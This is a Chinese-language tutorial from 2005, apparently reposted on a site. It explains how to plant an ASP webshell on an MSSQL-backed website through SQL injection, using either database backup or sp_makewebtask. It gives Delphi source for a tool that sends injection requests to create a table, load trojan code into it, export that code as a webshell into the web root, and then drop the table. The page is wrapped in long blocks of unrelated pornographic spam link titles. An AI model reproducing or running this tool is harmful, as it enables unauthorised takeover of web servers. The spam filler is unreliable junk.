国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

SQL注入得到WEBSHELL
2005-12-17   

一.通過SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法:利用數據庫備份得到WEBSHELL。創建一個表,在表中建一個字段用來保存木馬數據。然后利用MSSQL導出庫文件的辦法把整個數據導出來,最后再刪除新建的表。
分析: N.E.V.E.R利用了MSSQL的備份數據庫功能。把數據導出來,設想數據庫中有<%%>之類的ASP標實符,導出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路徑下。那么這個導出的ASP文件是不是要去解釋<%%> 之內的語句呢?如果數據庫中有的表中有<%%>標實符,并且這之中有錯誤,那么我們導出來生成的ASP文件也會有誤。不過,這種機會也不太大。
再來看看CZY的方法吧。
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了擴展存儲過程——sp_makewebtask。這個擴展存儲過程的作用就是:可以把MSSQL數據庫中的某個表中的記錄導出來,以文件的方法保存起來。這種方法就不會出現什么問題原因在于:我們只去讀表中的某個字段中的值。把字段的信息導出來生成文件。這個字段中的值都是我們剛加上的。自己在加入數據的時候,先調試一下,沒有問題在加入進去,導出來就當然沒有問題了。
以上兩位的方法,我都手工測試過。利用SQL注入漏洞,建表,向表中加數據,然后再導出數據,再刪除表。都是利用的SQL語句。這里我就不多說了,大家可以看本期的文章。
二.利用DELPHI去實現功能的前言
原理都分析過了。我們怎么利用DELPHI來實現他們的手工操作呢?其實方法是非常簡單的。DELPHI提供了一個NMHTTP控件。我們利用這個控件就可以向某個特定的URL提交參數。然后實現我們的自動注射功能。我馬上要為大家講解的這個程序,有一個特點。也可以說成是一個缺陷吧。程序不去自動猜解WEB的絕對路徑。程序不去判斷當前連接SQL數據庫的當前賬號的權限。我為什么要這么做?因為得到這兩者用SQL注入是非常難得到的。所以,我們程序發送命令就不會考慮太多。成不成功你執行完自己去看看生成沒有就OK了。
三.如何利用DELPHI得到WEBSHELL。
程序中用到的值。我們這里來看看有哪些:URL路徑,遠程WEB絕對路徑(通過其他方法得到,你一定有辦法的) 采用什么方法去得到WEBSHELL(也就是兩位的方法,你選哪一種)。我們同時要求點擊一個按紐開始執行命令,和點擊一個按紐來終止命今。最后就是新建的表的名稱,以及表的字段名稱,再次就是字段的類型。前面的我們在程序中放上輸入,選擇之類的控件就行了。后面的我們設一個選項按紐點按紐彈出相應設置。再把這些相應的設置用一個RECORD來保存。
首先,我們在DIT控件。名稱分別是:UrlET //URL路徑的輸入框、ShellPathET //遠程木馬的位置、CustomBdoorET//自定義木馬的位置。再放兩個RadioButton用來選擇采用什么方式獲取WEBSHELL。CAPTION分別取名為: BackUP DataBase 和 WEB作業。然后再放三個SpeedButtion按紐。名稱分別是:設置,開始,停止, 最后再放一個MEMO控件。來顯示當前添加的信息。到此界面上的工作就做完了。界面如圖:
現在來寫程序了。
我們首先定義一個RECORD。
如下:
Type
SetOption = Record
TableName : String; //用來保存要創建的表名.
FieldName : String; //用來保存要創建的字段名.
FiledType : String; //用來保存創建的字段名類型.
End;
FiledType字段類型的值是以下類型的一種:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 這些都是MSSQL字段類型值.
再定義一個全局變量:
Var
ISStop : Boolean; //用來判斷用戶是否按下了停止按紐.
好了。在表單創建的過程中,我們為RECORD記錄輸入默認值.
代碼如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :='cyfd'
sOption.FieldName :='gmemo'
sOption.FiledType :='text'
end;
現在我們添加開始執行命令的代碼。
先定義BDoorList 為TstringList。主要目的就是把木馬的內容加進來.
創建兩個變量來保存urlET.和ShellPathET的值.方便程序簡化調用.
在程序開始執行前,我們得先檢查一下用戶的輸入
定義一個Checkinput函數.
如下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = '' then
Begin
Application.MessageBox('請輸入URL地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = '' then
Begin
Application.MessageBox('請輸入文件保存地址!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+'默認木馬.txt') then
Begin
Application.MessageBox('沒有找到 [默認木馬.txt] 文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox('沒有找到所選的木馬文件!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最開始加入:
IF Not CheckInput then Exit; //如果輸入不合法就退出過程.
好了,如果用戶輸入沒什么錯,我們就來下面的代碼。
首先我們把IsStop設為假。創建BdoorList。
BDoorList := TstringList.Create;
再加木馬內容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在這里我還要給大家說一下:用NMHTTP提交數據的時候.要把輸入的一些特別符號轉達成編碼。我們這里要把空格和%符號替換成相應的編碼分別是:%20和%25,不然.程序加不進數據。
代碼如下:
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
接下來.我們就提交建表的功能了.
Memo.Lines.Add('建表...');
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
這樣我們就創建了一個表。然后.我們向表中加記錄:
代碼如下:
Memo.Lines.Add('加數據...');
Memo.Lines.Add('');
For i:=0 to BDoorList.Count-1 do //這里用一個循環把木馬的內容加進表中去.
Begin
IF IsStop then //這里如果點了停止按紐程序將終止任務.
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
Memo.Lines.Add('Add Line '+Inttostr(i+1));
End;
現在就是導出數據生成木馬了.
Memo.Lines.Add('導出數據...');
Memo.Lines.Add('');
IF BKData.Checked then //如果選中采用備份數據就執行下面的命令.
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
Else //如果是用WEB作業的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
我們再刪除剛建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
這樣我們的任務就完成了。下面來釋放變量.
BDoorList.Free;
再來向停止按紐中添加點擊事件:
一行代碼就行了:IsStop := True;
到這里主表單的內容基本上完成了。現在我們來看設置表單中怎么來設置.其實非常簡單.主表單中已經定義了一個RECORD.我們只需要將用戶輸入的新值,再次賦給RECORD就行了。
設置表單中先引用主表單.然后在界面中添加二個EDIT控件:
第一個名稱為:TableNameET //保用戶輸入的存臨時表
第二個名稱為:FieldNameET //用來保存用戶輸入的字段名.
再添加一個Combobox //用來保存用戶所選的字段類型值.
名稱:FieldTypeCombox
OK.界面如下:
代碼如下:
定義一個過程,主表單好調用這個設置。
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表單中設置的點擊事件中添加上showset過程就行了。
下面就是點擊確定的代碼了。
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用戶的輸入賦給RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
這里又有一個CheckInput主要就是檢查用戶輸入的值是不是合法。
代碼如下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)='' then
Begin
Application.MessageBox('請輸入臨時表名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)='' then
Begin
Application.MessageBox('請輸入字段名!','提示',mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到這里程序就完了。

熱詞搜索:

上一篇:利用%5c繞過驗證
下一篇:dvsp2上傳漏洞再現----擊潰動網sp2的神話

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产精品久久久一区麻豆最新章节| 91精品国产91久久久久久最新毛片| 国产精品资源在线观看| www.欧美亚洲| 中文一区在线播放| 91视频免费观看| 一区二区视频免费在线观看| 日本精品视频一区二区| 一区二区三区电影在线播| 在线欧美日韩国产| 免费观看91视频大全| 久久久午夜电影| 97精品电影院| 奇米亚洲午夜久久精品| 久久久av毛片精品| 色综合久久久网| 首页国产丝袜综合| 久久日韩粉嫩一区二区三区| 成人aaaa免费全部观看| 亚洲成人资源在线| 欧美国产成人在线| 91.成人天堂一区| 99久久久久久| 国产在线精品不卡| 亚洲国产视频一区| 久久久久久免费毛片精品| 欧美在线视频不卡| 波多野结衣中文字幕一区| 日本午夜一本久久久综合| 亚洲欧洲日产国码二区| 欧美刺激脚交jootjob| 日本黄色一区二区| 成人久久18免费网站麻豆| 蜜桃av一区二区三区| 亚洲精品欧美二区三区中文字幕| 国产亚洲欧美一区在线观看| 日韩一区二区三区视频在线观看| 91视视频在线直接观看在线看网页在线看| 麻豆精品在线播放| 亚洲成a人片在线观看中文| 成人欧美一区二区三区小说| 国产夜色精品一区二区av| 91精品国产综合久久精品app| youjizz久久| 丁香另类激情小说| 高清不卡在线观看| 成人蜜臀av电影| 国产99久久久国产精品潘金| 国产成人精品亚洲日本在线桃色| 裸体歌舞表演一区二区| 美国毛片一区二区| 日韩激情视频网站| 男男gaygay亚洲| 久久99精品久久久久久国产越南 | 日韩三级伦理片妻子的秘密按摩| 欧美在线视频日韩| 欧美亚洲国产一区在线观看网站| 99久久久国产精品免费蜜臀| 成人av高清在线| 色综合咪咪久久| 在线视频观看一区| 91麻豆精品91久久久久同性| 这里只有精品视频在线观看| 日韩欧美国产不卡| 欧美成人性战久久| 国产欧美一区二区三区网站| 亚洲天天做日日做天天谢日日欢| 亚洲欧美激情小说另类| 丝袜美腿成人在线| 国产福利91精品一区| 91影视在线播放| 欧美精品一二三四| 久久嫩草精品久久久精品| 亚洲国产高清在线观看视频| 亚洲免费在线观看| 青青草97国产精品免费观看无弹窗版| 久久精品免费观看| av电影天堂一区二区在线观看| 在线视频你懂得一区二区三区| 日韩一级二级三级| 亚洲欧洲韩国日本视频| 肉色丝袜一区二区| 福利视频网站一区二区三区| 欧美日韩综合在线免费观看| 精品国精品国产尤物美女| 国产精品福利一区| 日本欧美加勒比视频| 成人app在线| 日韩精品一区二区三区三区免费 | 欧美亚洲高清一区| 欧美电影免费观看高清完整版| 欧美高清在线精品一区| 日韩精品福利网| 成人av动漫在线| 精品国产三级a在线观看| 亚洲乱码中文字幕| 国产一区二区在线观看免费| 色先锋久久av资源部| 国产无人区一区二区三区| 亚洲动漫第一页| av在线综合网| 精品福利一区二区三区免费视频| 亚洲精品日产精品乱码不卡| 国产成人av一区二区三区在线 | 日韩一区二区免费视频| 一区在线播放视频| 国产一区二区三区| 91精品国产aⅴ一区二区| 一区二区三区在线观看欧美| 国产成人免费在线| 久久久噜噜噜久久人人看| 天堂一区二区在线| 在线精品视频免费观看| 亚洲国产激情av| 国产高清成人在线| 久久综合久久综合久久综合| 美女国产一区二区| 日韩小视频在线观看专区| 日韩黄色在线观看| 欧美一区二区三区精品| 手机精品视频在线观看| 欧美三级韩国三级日本三斤 | 制服丝袜激情欧洲亚洲| 亚洲免费观看在线视频| 99久久国产免费看| 亚洲欧美经典视频| 在线观看不卡视频| 亚洲综合久久av| 91国在线观看| 亚洲va中文字幕| 7878成人国产在线观看| 琪琪久久久久日韩精品| 日韩一区二区精品葵司在线| 蜜臀av一级做a爰片久久| 日韩一区二区三区高清免费看看| 日本特黄久久久高潮| 日韩一级大片在线观看| 激情五月婷婷综合网| 国产欧美综合在线观看第十页| 成人午夜视频福利| ...中文天堂在线一区| 欧美性极品少妇| 亚洲bt欧美bt精品777| 欧美一区二区三区的| 国产成人夜色高潮福利影视| 日本一区二区三区国色天香| 成人精品一区二区三区四区| 亚洲欧美激情小说另类| 6080午夜不卡| 国产精品一区二区三区网站| 最新国产成人在线观看| 欧美人与禽zozo性伦| 韩国成人在线视频| 中文字幕制服丝袜一区二区三区 | 91麻豆免费看片| 天天综合网 天天综合色| xvideos.蜜桃一区二区| 一本久道久久综合中文字幕| 日韩二区三区四区| 国产欧美日本一区视频| 欧美无人高清视频在线观看| 狠狠色丁香婷婷综合| 亚洲免费观看在线视频| 精品日韩成人av| 色综合久久99| 国产精品99久久久久久久女警| 亚洲午夜av在线| 欧美激情一区二区三区不卡| 欧美日韩在线一区二区| 国产一区二区毛片| 亚洲h在线观看| 国产精品不卡一区| 精品国产第一区二区三区观看体验| 91在线免费播放| 国产在线观看免费一区| 亚洲午夜激情网站| 综合在线观看色| 国产欧美一区二区精品仙草咪| 欧美三级日本三级少妇99| 99这里只有精品| 国产高清久久久久| 麻豆成人91精品二区三区| 亚洲免费观看高清在线观看| 久久日韩粉嫩一区二区三区| 欧美一区二区三区在| 欧美亚洲综合网| 不卡一区二区在线| 国产一区二区三区| 免费一级片91| 亚洲国产乱码最新视频| 日韩美女啊v在线免费观看| 久久久久国产精品厨房| 精品日韩一区二区三区| 欧美一区二区三区四区在线观看 | 欧美日韩aaaaaa| 欧美主播一区二区三区| 91网址在线看| 99精品视频一区| 99精品久久久久久| 91免费版pro下载短视频|